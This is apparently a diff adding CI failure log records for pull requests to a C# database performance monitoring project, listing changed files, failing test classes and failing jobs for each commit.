+{"date":"2026-09-26","head_sha":"2ccc5e07a9c272b7b783f699e445c15496329e0c","event":"pull_request","changed_files":["Darling/Darling.Tests/RawArmedStateConvergeTests.cs","Darling/Darling.Tests/RetentionReevaluationTests.cs","Darling/Darling.Tests/TimescaleContinuousAggregateTests.cs","Darling/PerformanceMonitor.Darling.Storage/TimescaleSupport.cs"],"failed_classes":["Darling.Tests.FrozenRollupLiveTests","Darling.Tests.QueryStoreCorrectedRollupLiveTests","Darling.Tests.RetentionReevaluationLiveTests","Darling.Tests.RollupBackfillLiveTests"],"failed_jobs":["Darling PG tests (1)","Darling PG tests (0)"]}
+{"date":"2026-09-26","head_sha":"38adaf03d7f14d907b61a51c3b1822e85415aa47","event":"pull_request","changed_files":["Darling/PerformanceMonitor.Darling.Service/DarlingWebEndpoints.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpAgTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpDefaultTraceTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpJobTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpLatchSpinlockTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPlanCacheSchedulerTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPvsTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpSessionTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpTrendTools.cs"],"failed_classes":["Darling.Tests.McpLatestSnapshotStampTests"],"failed_jobs":["Darling PG tests (0)","build"]}
+{"date":"2026-09-26","head_sha":"521ee52d394f25263bc82c82b64b535d7431e07a","event":"pull_request","changed_files":[".gitattributes","Darling/Darling.Tests/AlertReadFailureSurfaceTests.cs","Darling/Darling.Tests/DarlingManagedPostgresTests.cs","Darling/Darling.Tests/DarlingSelfAlertTests.cs","Darling/Darling.Tests/DarlingStoreHostProfileTests.cs","Darling/Darling.Tests/Fixtures/ManagedConf/rehearsal-postgresql.conf","Darling/Darling.Tests/ManagedConfFileLiveTests.cs","Darling/Darling.Tests/ManagedConfFileSettingsTests.cs","Darling/Darling.Tests/ManagedConfFileTests.cs","Darling/Darling.Tests/ManagedConfMigrationRunnerTests.cs","Darling/Darling.Tests/ManagedConfMigrationStateTests.cs","Darling/Darling.Tests/ManagedConfMigrationStepsTests.cs","Darling/Darling.Tests/ManagedConfMigrationTests.cs","Darling/Darling.Tests/ManagedConfMigrationWiringTests.cs","Darling/Darling.Tests/ManagedConfRehearsalTests.cs","Darling/Darling.Tests/ManagedConfRewriteTests.cs","Darling/Darling.Tests/ManagedConfVerdictsLiveTests.cs","Darling/Darling.Tests/ManagedConfVerdictsRungTests.cs","Darling/Darling.Tests/NotificationRoutingTests.cs","Darling/Darling.Tests/QueryStoreIntervalWideRungTests.cs","Darling/Darling.Tests/StartupHostProfileLogTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingCliCommands.cs","Darling/PerformanceMonitor.Darling.Service/DarlingManagedPostgres.cs","Darling/PerformanceMonitor.Darling.Service/DarlingSelfAlertEvaluator.cs","Darling/PerformanceMonitor.Darling.Service/DarlingStoreHostProfile.cs","Darling/PerformanceMonitor.Darling.Service/DarlingTriageEndpoint.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs","Darling/PerformanceMonitor.Darling.Service/ManagedConfFile.cs","Darling/PerformanceMonitor.Darling.Service/ManagedConfFileSettings.cs","Darling/PerformanceMonitor.Darling.Service/ManagedConfMigration.cs","Darling/PerformanceMonitor.Darling.Service/ManagedConfMigrationRunner.cs","Darling/PerformanceMonitor.Darling.Service/ManagedConfMigrationState.cs","Darling/PerformanceMonitor.Darling.Service/ManagedConfMigrationSteps.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingStoreMetricsReader.cs","Darling/PerformanceMonitor.Darling.Storage/PgMigrations.cs","Darling/PerformanceMonitor.Darling.Storage/StorageVersion.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.cs","Darling/README.md","Lite.Tests/CrossSkuSurfaceSourceTests.cs","PerformanceMonitor.Alerting/AlertReadFailureCounter.cs","PerformanceMonitor.Common/AlertMetricClassifier.cs","PerformanceMonitor.Notifications/AlertFamily.cs"],"failed_classes":["Darling.Tests.DarlingManagedPostgresTests","Darling.Tests.ManagedConfFileLiveTests"],"failed_jobs":["Darling PG tests (1)","Darling PG tests (2)"]}
+{"date":"2026-09-26","head_sha":"74797c4b9f8e0732a60b5d275c37ac475b5c102a","event":"pull_request","changed_files":["Darling/Darling.Tests/RawArmedStateConvergeTests.cs","Darling/Darling.Tests/RawRetentionServiceTriggeredLiveTests.cs","Darling/Darling.Tests/RetentionReevaluationTests.cs","Darling/Darling.Tests/TimescaleContinuousAggregateTests.cs","Darling/PerformanceMonitor.Darling.Storage/TimescaleSupport.cs"],"failed_classes":["Darling.Tests.FrozenRollupLiveTests","Darling.Tests.QueryStoreCorrectedRollupLiveTests","Darling.Tests.RetentionReevaluationLiveTests","Darling.Tests.RollupBackfillLiveTests"],"failed_jobs":["Darling PG tests (0)","Darling PG tests (1)"]}
+{"date":"2026-09-26","head_sha":"4bbb3138658b9585aba7366d986d9cdbe1137a4d","event":"pull_request","changed_files":["Darling/Darling.Tests/AlertNotebookAuthoredTemplateTests.cs","Darling/PerformanceMonitor.Darling.Service/AlertNotebookEndpoint.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWebEndpoints.cs"],"failed_classes":["Darling.Tests.DocCommentHygieneTests"],"failed_jobs":["Darling PG tests (1)","build"]}
+{"date":"2026-09-26","head_sha":"57c3c14fa4c7f61205b4454d6101ff17b583c876","event":"pull_request","changed_files":[".gitattributes","Darling/Darling.Tests/AlertReadFailureSurfaceTests.cs","Darling/Darling.Tests/DarlingManagedPostgresTests.cs","Darling/Darling.Tests/DarlingSelfAlertTests.cs","Darling/Darling.Tests/DarlingStoreHostProfileTests.cs","Darling/Darling.Tests/Fixtures/ManagedConf/rehearsal-postgresql.conf","Darling/Darling.Tests/ManagedConfFileLiveTests.cs","Darling/Darling.Tests/ManagedConfFileSettingsTests.cs","Darling/Darling.Tests/ManagedConfFileTests.cs","Darling/Darling.Tests/ManagedConfMigrationRunnerTests.cs","Darling/Darling.Tests/ManagedConfMigrationStateTests.cs","Darling/Darling.Tests/ManagedConfMigrationStepsTests.cs","Darling/Darling.Tests/ManagedConfMigrationTests.cs","Darling/Darling.Tests/ManagedConfMigrationWiringTests.cs","Darling/Darling.Tests/ManagedConfRehearsalTests.cs","Darling/Darling.Tests/ManagedConfRewriteTests.cs","Darling/Darling.Tests/ManagedConfVerdictsLiveTests.cs","Darling/Darling.Tests/ManagedConfVerdictsRungTests.cs","Darling/Darling.Tests/NotificationRoutingTests.cs","Darling/Darling.Tests/QueryStoreIntervalWideRungTests.cs","Darling/Darling.Tests/StartupHostProfileLogTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingCliCommands.cs","Darling/PerformanceMonitor.Darling.Service/DarlingManagedPostgres.cs","Darling/PerformanceMonitor.Darling.Service/DarlingSelfAlertEvaluator.cs","Darling/PerformanceMonitor.Darling.Service/DarlingStoreHostProfile.cs","Darling/PerformanceMonitor.Darling.Service/DarlingTriageEndpoint.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs","Darling/PerformanceMonitor.Darling.Service/ManagedConfFile.cs","Darling/PerformanceMonitor.Darling.Service/ManagedConfFileSettings.cs","Darling/PerformanceMonitor.Darling.Service/ManagedConfMigration.cs","Darling/PerformanceMonitor.Darling.Service/ManagedConfMigrationRunner.cs","Darling/PerformanceMonitor.Darling.Service/ManagedConfMigrationState.cs","Darling/PerformanceMonitor.Darling.Service/ManagedConfMigrationSteps.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingStoreMetricsReader.cs","Darling/PerformanceMonitor.Darling.Storage/PgMigrations.cs","Darling/PerformanceMonitor.Darling.Storage/StorageVersion.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.cs","Darling/README.md","Lite.Tests/CrossSkuSurfaceSourceTests.cs","PerformanceMonitor.Alerting/AlertReadFailureCounter.cs","PerformanceMonitor.Common/AlertMetricClassifier.cs","PerformanceMonitor.Notifications/AlertFamily.cs"],"failed_classes":["Darling.Tests.DarlingManagedPostgresTests"],"failed_jobs":["Darling PG tests (2)"]}
+{"date":"2026-09-26","head_sha":"241557c7d44f3f85c49de71928847e7a0fb2ead0","event":"pull_request","changed_files":[".gitattributes","Darling/Darling.Tests/AlertReadFailureSurfaceTests.cs","Darling/Darling.Tests/DarlingManagedPostgresTests.cs","Darling/Darling.Tests/DarlingSelfAlertTests.cs","Darling/Darling.Tests/DarlingStoreHostProfileTests.cs","Darling/Darling.Tests/Fixtures/ManagedConf/rehearsal-postgresql.conf","Darling/Darling.Tests/ManagedConfFileLiveTests.cs","Darling/Darling.Tests/ManagedConfFileSettingsTests.cs","Darling/Darling.Tests/ManagedConfFileTests.cs","Darling/Darling.Tests/ManagedConfMigrationRunnerTests.cs","Darling/Darling.Tests/ManagedConfMigrationStateTests.cs","Darling/Darling.Tests/ManagedConfMigrationStepsTests.cs","Darling/Darling.Tests/ManagedConfMigrationTests.cs","Darling/Darling.Tests/ManagedConfMigrationWiringTests.cs","Darling/Darling.Tests/ManagedConfRehearsalTests.cs","Darling/Darling.Tests/ManagedConfRewriteTests.cs","Darling/Darling.Tests/ManagedConfVerdictsLiveTests.cs","Darling/Darling.Tests/ManagedConfVerdictsRungTests.cs","Darling/Darling.Tests/NotificationRoutingTests.cs","Darling/Darling.Tests/QueryStoreIntervalWideRungTests.cs","Darling/Darling.Tests/StartupHostProfileLogTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingCliCommands.cs","Darling/PerformanceMonitor.Darling.Service/DarlingManagedPostgres.cs","Darling/PerformanceMonitor.Darling.Service/DarlingSelfAlertEvaluator.cs","Darling/PerformanceMonitor.Darling.Service/DarlingStoreHostProfile.cs","Darling/PerformanceMonitor.Darling.Service/DarlingTriageEndpoint.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs","Darling/PerformanceMonitor.Darling.Service/ManagedConfFile.cs","Darling/PerformanceMonitor.Darling.Service/ManagedConfFileSettings.cs","Darling/PerformanceMonitor.Darling.Service/ManagedConfMigration.cs","Darling/PerformanceMonitor.Darling.Service/ManagedConfMigrationRunner.cs","Darling/PerformanceMonitor.Darling.Service/ManagedConfMigrationState.cs","Darling/PerformanceMonitor.Darling.Service/ManagedConfMigrationSteps.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingStoreMetricsReader.cs","Darling/PerformanceMonitor.Darling.Storage/PgMigrations.cs","Darling/PerformanceMonitor.Darling.Storage/StorageVersion.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.cs","Darling/README.md","Lite.Tests/CrossSkuSurfaceSourceTests.cs","PerformanceMonitor.Alerting/AlertReadFailureCounter.cs","PerformanceMonitor.Common/AlertMetricClassifier.cs","PerformanceMonitor.Notifications/AlertFamily.cs"],"failed_classes":["Darling.Tests.DarlingManagedPostgresTests"],"failed_jobs":["Darling PG tests (2)"]}
+{"date":"2026-09-26","head_sha":"7d1627b90bf2808b1c5142ab9a281fd76667ca58","event":"pull_request","changed_files":["Darling/Darling.Tests/TopQueriesHourlyRoutingLiveTests.cs","Darling/Darling.Tests/TopQueriesHourlyRoutingTests.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingDataReader.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpDataTools.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.QueryStats.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.Queries.cs"],"failed_classes":["Darling.Tests.DocCommentHygieneTests"],"failed_jobs":["build","Darling PG tests (1)"]}
+{"date":"2026-09-26","head_sha":"5f1034a36c1cc57b2d02b86bbfa94fbaff66ad1c","event":"pull_request","changed_files":["Darling/Darling.Tests/ServerWatermarkCacheRunnerLiveTests.cs","Darling/Darling.Tests/ServerWatermarkCacheTests.cs","Darling/Darling.Tests/TimeHonestyRungTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingCollectorRunner.cs","Darling/PerformanceMonitor.Darling.Service/ServerWatermarkCache.cs","PerformanceMonitor.Collectors/CollectorDefinitionBase.cs","PerformanceMonitor.Collectors/DefaultTraceEventsCollector.cs","PerformanceMonitor.Collectors/ICollectorDefinition.cs","PerformanceMonitor.Collectors/JobHistoryCollector.cs","PerformanceMonitor.Collectors/MemoryPressureEventsCollector.cs","PerformanceMonitor.Collectors/SystemHealthEventsCollector.cs"],"failed_classes":["Darling.Tests.ServerWatermarkCacheRunnerLiveTests"],"failed_jobs":["Darling PG tests (0)"]}
+{"date":"2026-09-26","head_sha":"7b00aa01ec2215860f3b28cb6351033f594e1f16","event":"pull_request","changed_files":[".gitattributes","Darling/Darling.Tests/AlertReadFailureSurfaceTests.cs","Darling/Darling.Tests/DarlingManagedPostgresTests.cs","Darling/Darling.Tests/DarlingSelfAlertTests.cs","Darling/Darling.Tests/DarlingStoreHostProfileTests.cs","Darling/Darling.Tests/Fixtures/ManagedConf/rehearsal-postgresql.conf","Darling/Darling.Tests/ManagedConfFileLiveTests.cs","Darling/Darling.Tests/ManagedConfFileSettingsTests.cs","Darling/Darling.Tests/ManagedConfFileTests.cs","Darling/Darling.Tests/ManagedConfMigrationRunnerTests.cs","Darling/Darling.Tests/ManagedConfMigrationStateTests.cs","Darling/Darling.Tests/ManagedConfMigrationStepsTests.cs","Darling/Darling.Tests/ManagedConfMigrationTests.cs","Darling/Darling.Tests/ManagedConfMigrationWiringTests.cs","Darling/Darling.Tests/ManagedConfRehearsalTests.cs","Darling/Darling.Tests/ManagedConfRewriteTests.cs","Darling/Darling.Tests/ManagedConfUpgradePathTests.cs","Darling/Darling.Tests/ManagedConfVerdictsLiveTests.cs","Darling/Darling.Tests/ManagedConfVerdictsRungTests.cs","Darling/Darling.Tests/NotificationRoutingTests.cs","Darling/Darling.Tests/QueryStoreIntervalWideRungTests.cs","Darling/Darling.Tests/StartupHostProfileLogTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingCliCommands.cs","Darling/PerformanceMonitor.Darling.Service/DarlingManagedPostgres.cs","Darling/PerformanceMonitor.Darling.Service/DarlingSelfAlertEvaluator.cs","Darling/PerformanceMonitor.Darling.Service/DarlingStoreHostProfile.cs","Darling/PerformanceMonitor.Darling.Service/DarlingTriageEndpoint.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs","Darling/PerformanceMonitor.Darling.Service/ManagedConfFile.cs","Darling/PerformanceMonitor.Darling.Service/ManagedConfFileSettings.cs","Darling/PerformanceMonitor.Darling.Service/ManagedConfMigration.cs","Darling/PerformanceMonitor.Darling.Service/ManagedConfMigrationRunner.cs","Darling/PerformanceMonitor.Darling.Service/ManagedConfMigrationState.cs","Darling/PerformanceMonitor.Darling.Service/ManagedConfMigrationSteps.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingStoreMetricsReader.cs","Darling/PerformanceMonitor.Darling.Storage/PgMigrations.cs","Darling/PerformanceMonitor.Darling.Storage/StorageVersion.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.cs","Darling/README.md","Lite.Tests/CrossSkuSurfaceSourceTests.cs","PerformanceMonitor.Alerting/AlertReadFailureCounter.cs","PerformanceMonitor.Common/AlertMetricClassifier.cs","PerformanceMonitor.Notifications/AlertFamily.cs"],"failed_classes":["Darling.Tests.DarlingManagedPostgresTests"],"failed_jobs":["Darling PG tests (2)"]}
+{"date":"2026-09-26","head_sha":"3878626a2c107e15d77b2323fafc787cc22d2ebc","event":"pull_request","changed_files":[".gitattributes","Darling/Darling.Tests/AlertReadFailureSurfaceTests.cs","Darling/Darling.Tests/DarlingManagedPostgresTests.cs","Darling/Darling.Tests/DarlingSelfAlertTests.cs","Darling/Darling.Tests/DarlingStoreHostProfileTests.cs","Darling/Darling.Tests/Fixtures/ManagedConf/rehearsal-postgresql.conf","Darling/Darling.Tests/ManagedConfFileLiveTests.cs","Darling/Darling.Tests/ManagedConfFileSettingsTests.cs","Darling/Darling.Tests/ManagedConfFileTests.cs","Darling/Darling.Tests/ManagedConfMigrationRunnerTests.cs","Darling/Darling.Tests/ManagedConfMigrationStateTests.cs","Darling/Darling.Tests/ManagedConfMigrationStepsTests.cs","Darling/Darling.Tests/ManagedConfMigrationTests.cs","Darling/Darling.Tests/ManagedConfMigrationWiringTests.cs","Darling/Darling.Tests/ManagedConfRehearsalTests.cs","Darling/Darling.Tests/ManagedConfRewriteTests.cs","Darling/Darling.Tests/ManagedConfUpgradePathTests.cs","Darling/Darling.Tests/ManagedConfVerdictsLiveTests.cs","Darling/Darling.Tests/ManagedConfVerdictsRungTests.cs","Darling/Darling.Tests/NotificationRoutingTests.cs","Darling/Darling.Tests/QueryStoreIntervalWideRungTests.cs","Darling/Darling.Tests/StartupHostProfileLogTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingCliCommands.cs","Darling/PerformanceMonitor.Darling.Service/DarlingManagedPostgres.cs","Darling/PerformanceMonitor.Darling.Service/DarlingSelfAlertEvaluator.cs","Darling/PerformanceMonitor.Darling.Service/DarlingStoreHostProfile.cs","Darling/PerformanceMonitor.Darling.Service/DarlingTriageEndpoint.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs","Darling/PerformanceMonitor.Darling.Service/ManagedConfFile.cs","Darling/PerformanceMonitor.Darling.Service/ManagedConfFileSettings.cs","Darling/PerformanceMonitor.Darling.Service/ManagedConfMigration.cs","Darling/PerformanceMonitor.Darling.Service/ManagedConfMigrationRunner.cs","Darling/PerformanceMonitor.Darling.Service/ManagedConfMigrationState.cs","Darling/PerformanceMonitor.Darling.Service/ManagedConfMigrationSteps.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingStoreMetricsReader.cs","Darling/PerformanceMonitor.Darling.Storage/PgMigrations.cs","Darling/PerformanceMonitor.Darling.Storage/StorageVersion.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.cs","Darling/README.md","Lite.Tests/CrossSkuSurfaceSourceTests.cs","PerformanceMonitor.Alerting/AlertReadFailureCounter.cs","PerformanceMonitor.Common/AlertMetricClassifier.cs","PerformanceMonitor.Notifications/AlertFamily.cs"],"failed_classes":["Darling.Tests.DarlingManagedPostgresTests","Darling.Tests.DocCommentHygieneTests","Darling.Tests.StoreSessionTimeZonePinCensusTests","Darling.Tests.TsqlConventionGuardTests"],"failed_jobs":["build","Darling PG tests (1)","Darling PG tests (2)"]}
+{"date":"2026-09-26","head_sha":"7540d1cb4b51fe5214a6b8ef6c1db0aa993e99cc","event":"pull_request","changed_files":["Darling/PerformanceMonitor.Darling.Service/DarlingWebEndpoints.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpCollectorCostTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpFleetSweepTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpFleetTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpOversizedPlanBacklogTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPgBlockingTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPlanTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpStallProbeTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpStoreLogTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpStoreMetricsTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpStoreQueryStatsTools.cs"],"failed_classes":["Darling.Tests.OversizedPlanBacklogReadPins","Darling.Tests.StoreToastAndCheckpointerTests"],"failed_jobs":["Darling PG tests (2)","build"]}
+{"date":"2026-09-26","head_sha":"0c3ed6a648f70bfdd8e9a580b712199e6a982148","event":"pull_request","changed_files":["Darling/Darling.Tests/FrozenRollupLiveTests.cs","Darling/Darling.Tests/MaterializationHoleRepairTests.cs","Darling/Darling.Tests/QueryStoreCorrectedRollupLiveTests.cs","Darling/Darling.Tests/RawArmedStateConvergeTests.cs","Darling/Darling.Tests/RawRepairEpochStampTests.cs","Darling/Darling.Tests/RawRepairEpochTriggerLiveTests.cs","Darling/Darling.Tests/RawRetentionPurgeJobLiveTests.cs","Darling/Darling.Tests/RawRetentionServiceTriggeredLiveTests.cs","Darling/Darling.Tests/RetentionReevaluationTests.cs","Darling/Darling.Tests/RollupBackfillLiveTests.cs","Darling/Darling.Tests/TimescaleContinuousAggregateTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs","Darling/PerformanceMonitor.Darling.Storage/TimescaleSupport.MaterializationHoles.cs","Darling/PerformanceMonitor.Darling.Storage/TimescaleSupport.cs"],"failed_classes":["Darling.Tests.DarlingCloudIdentityProbeTests"],"failed_jobs":["Darling PG tests (2)"]}
+{"date":"2026-09-26","head_sha":"dfb6b826c1769983340444e73c892fdbbeb51866","event":"pull_request","changed_files":["Darling/Darling.Tests/FrozenRollupLiveTests.cs","Darling/Darling.Tests/MaterializationHoleRepairTests.cs","Darling/Darling.Tests/QueryStoreCorrectedRollupLiveTests.cs","Darling/Darling.Tests/RawArmedStateConvergeTests.cs","Darling/Darling.Tests/RawPurgeTriggerLiveTests.cs","Darling/Darling.Tests/RawRepairEpochStampTests.cs","Darling/Darling.Tests/RawRepairEpochTriggerLiveTests.cs","Darling/Darling.Tests/RawRetentionPurgeJobLiveTests.cs","Darling/Darling.Tests/RawRetentionServiceTriggeredLiveTests.cs","Darling/Darling.Tests/RetentionReevaluationTests.cs","Darling/Darling.Tests/RollupBackfillLiveTests.cs","Darling/Darling.Tests/TimescaleContinuousAggregateTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingSelfAlertEvaluator.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs","Darling/PerformanceMonitor.Darling.Storage/TimescaleSupport.MaterializationHoles.cs","Darling/PerformanceMonitor.Darling.Storage/TimescaleSupport.cs"],"failed_classes":["Darling.Tests.DarlingSelfAlertTests"],"failed_jobs":["Darling PG tests (2)","build"]}
+{"date":"2026-09-26","head_sha":"1cb56d0963ca3829cfcb5a6ceab01e3375bdbd3f","event":"pull_request","changed_files":["Darling/Darling.Tests/DarlingSelfAlertTests.cs","Darling/Darling.Tests/FrozenRollupLiveTests.cs","Darling/Darling.Tests/MaterializationHoleRepairTests.cs","Darling/Darling.Tests/QueryStoreCorrectedRollupLiveTests.cs","Darling/Darling.Tests/RawArmedStateConvergeTests.cs","Darling/Darling.Tests/RawPurgeTriggerLiveTests.cs","Darling/Darling.Tests/RawRepairEpochStampTests.cs","Darling/Darling.Tests/RawRepairEpochTriggerLiveTests.cs","Darling/Darling.Tests/RawRetentionPurgeJobLiveTests.cs","Darling/Darling.Tests/RawRetentionServiceTriggeredLiveTests.cs","Darling/Darling.Tests/RetentionHoldAndCadenceRawRedirectLiveTests.cs","Darling/Darling.Tests/RetentionReevaluationTests.cs","Darling/Darling.Tests/RollupBackfillLiveTests.cs","Darling/Darling.Tests/TimescaleContinuousAggregateTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingSelfAlertEvaluator.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs","Darling/PerformanceMonitor.Darling.Storage/TimescaleSupport.MaterializationHoles.cs","Darling/PerformanceMonitor.Darling.Storage/TimescaleSupport.cs"],"failed_classes":["Darling.Tests.AlertReadFailureSurfaceTests","Darling.Tests.DarlingTriageEndpointTests","Darling.Tests.RetentionHoldRatioKnobRungTests","Darling.Tests.TimescaleAvailabilityReprobeTests"],"failed_jobs":["Darling PG tests (0)","build","Darling PG tests (1)","Darling PG tests (2)"]}
+{"date":"2026-09-26","head_sha":"af4c1a327469a4b3ae2dca3a6cc8e9d21336f8d8","event":"pull_request","changed_files":["Darling/Darling.Tests/DarlingSelfAlertTests.cs","Darling/Darling.Tests/FrozenRollupLiveTests.cs","Darling/Darling.Tests/MaterializationHoleRepairTests.cs","Darling/Darling.Tests/QueryStoreCorrectedRollupLiveTests.cs","Darling/Darling.Tests/RawArmedStateConvergeTests.cs","Darling/Darling.Tests/RawPurgeTriggerLiveTests.cs","Darling/Darling.Tests/RawRepairEpochStampTests.cs","Darling/Darling.Tests/RawRepairEpochTriggerLiveTests.cs","Darling/Darling.Tests/RawRetentionPurgeJobLiveTests.cs","Darling/Darling.Tests/RawRetentionServiceTriggeredLiveTests.cs","Darling/Darling.Tests/RetentionHoldAndCadenceRawRedirectLiveTests.cs","Darling/Darling.Tests/RetentionReevaluationTests.cs","Darling/Darling.Tests/RollupBackfillLiveTests.cs","Darling/Darling.Tests/TimescaleContinuousAggregateTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingSelfAlertEvaluator.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs","Darling/PerformanceMonitor.Darling.Storage/TimescaleSupport.MaterializationHoles.cs","Darling/PerformanceMonitor.Darling.Storage/TimescaleSupport.cs"],"failed_classes":["Darling.Tests.AlertReadFailureSurfaceTests","Darling.Tests.DarlingSelfAlertTests","Darling.Tests.DarlingTriageEndpointTests","Darling.Tests.DocCommentHygieneTests","Darling.Tests.RetentionHoldRatioKnobRungTests","Darling.Tests.TimescaleAvailabilityReprobeTests"],"failed_jobs":["build","Darling PG tests (1)","Darling PG tests (0)","Darling PG tests (2)"]}
+{"date":"2026-09-26","head_sha":"d28291f02eb14bc8d40ae7c2c581e94bd920cd42","event":"pull_request","changed_files":["Darling/Darling.Tests/TopQueriesHourlyRoutingLiveTests.cs","Darling/Darling.Tests/TopQueriesHourlyRoutingTests.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingDataReader.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpDataTools.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.QueryStats.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.Queries.cs"],"failed_classes":["Darling.Tests.ManagedConfFileLiveTests"],"failed_jobs":["Darling PG tests (1)"]}
+{"date":"2026-09-26","head_sha":"79c8fb6ee52e5400026b953dc0ac6198426ccbe0","event":"pull_request","changed_files":["Darling/Darling.Tests/AlertReadFailureSurfaceTests.cs","Darling/Darling.Tests/DarlingSelfAlertTests.cs","Darling/Darling.Tests/FrozenRollupLiveTests.cs","Darling/Darling.Tests/MaterializationHoleRepairTests.cs","Darling/Darling.Tests/QueryStoreCorrectedRollupLiveTests.cs","Darling/Darling.Tests/RawArmedStateConvergeTests.cs","Darling/Darling.Tests/RawPurgeTriggerLiveTests.cs","Darling/Darling.Tests/RawRepairEpochStampTests.cs","Darling/Darling.Tests/RawRepairEpochTriggerLiveTests.cs","Darling/Darling.Tests/RawRetentionPurgeJobLiveTests.cs","Darling/Darling.Tests/RawRetentionServiceTriggeredLiveTests.cs","Darling/Darling.Tests/RetentionHoldAndCadenceRawRedirectLiveTests.cs","Darling/Darling.Tests/RetentionReevaluationTests.cs","Darling/Darling.Tests/RollupBackfillLiveTests.cs","Darling/Darling.Tests/TimescaleContinuousAggregateTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingSelfAlertEvaluator.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs","Darling/PerformanceMonitor.Darling.Storage/TimescaleSupport.MaterializationHoles.cs","Darling/PerformanceMonitor.Darling.Storage/TimescaleSupport.cs"],"failed_classes":["Darling.Tests.DarlingTriageEndpointTests","Darling.Tests.RetentionHoldRatioKnobRungTests","Darling.Tests.TimescaleAvailabilityReprobeTests"],"failed_jobs":["build","Darling PG tests (1)","Darling PG tests (0)"]}
+{"date":"2026-09-26","head_sha":"52f9c129c25c7a0b1f99eac39e616bef22f10355","event":"pull_request","changed_files":["Darling/Darling.Tests/McpPayloadContractCensusTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWebEndpoints.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPgAutovacuumTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPgDatabaseTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPgIndexUsageTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPgIoTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPgKernelStatsTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPgPredicateTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPgReplicationStatsTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPgSessionStatesTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPgWraparoundTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPgXminTools.cs"],"failed_classes":["Darling.Tests.PgLogEventMetricsParserTests"],"failed_jobs":["Darling PG tests (2)","build"]}
